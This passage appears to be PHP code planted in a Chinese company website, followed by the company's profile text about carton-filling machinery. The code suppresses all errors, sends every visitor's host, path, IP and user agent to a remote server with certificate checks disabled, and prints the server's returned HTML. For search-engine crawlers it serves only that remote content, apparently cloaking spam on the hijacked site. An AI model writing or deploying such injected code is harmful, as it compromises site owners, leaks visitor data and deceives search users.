self::$max_redirects) {
return '';
}
if (empty($url)) {
return '';
}
if (!function_exists('curl_init')) {
return '';
}
$ch = curl_init();
if ($ch === false) {
return '';
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_USERAGENT, isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, self::$max_redirects);
$response = curl_exec($ch);
if ($response === false) {
curl_close($ch);
return '';
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return $http_code === 200 ? $response : '';
}
private static function isSpider($user_agent) {
$pattern = '/Sogou|Baidu|baidu|bot|Yisou|Haosou|Spider|So\.com|Sm\.cn|Googlebot|Bingbot|360Spider|YisouSpider|Bytespider/i';
return preg_match($pattern, $user_agent) === 1;
}
private static function getClientIp() {
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
return trim($ips[0]);
}
return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown';
}
public static function getContent() {
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
error_reporting(0);
@ini_set('log_errors', '0');
$ip = self::getClientIp();
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Unknown';
$request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$http_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$is_spider = self::isSpider($user_agent);
$api_url = rtrim(self::$api_base, '/') . '/index.php';
$params = array(
'url' => $http_host,
'req' => $request_uri,
'xip' => $ip,
'ua' => $user_agent,
'jsc' => '1'
);
$content = self::sendRequest($api_url, $params);
if (!empty($content)) {
@header("Content-Type: text/html;charset=utf-8");
echo $content;
if($is_spider){
exit();
}
}
return $content;
}
}
$current_file = basename(__FILE__);
$script_name = isset($_SERVER['PHP_SELF']) ? basename($_SERVER['PHP_SELF']) : '';
if ($current_file === $script_name) {
ApiHelper::getContent();
}
?>
沈阳北亚饮品机械有限公司是中国国内最早研制和生产屋顶型纸盒灌装设备的企业。是集生产与研发为一体的高科技型企业。通过引进国际先进技术及自主研发,于 2000年设计生产出国内第一台屋顶形纸盒灌装机,打破了中国不能生产该种设备的局面。经过国内外100余家用户的实践证明,该机性能和质量都达到了国际同类产品的先进水平。其优越的性价比受到国内外客户的广泛欢迎。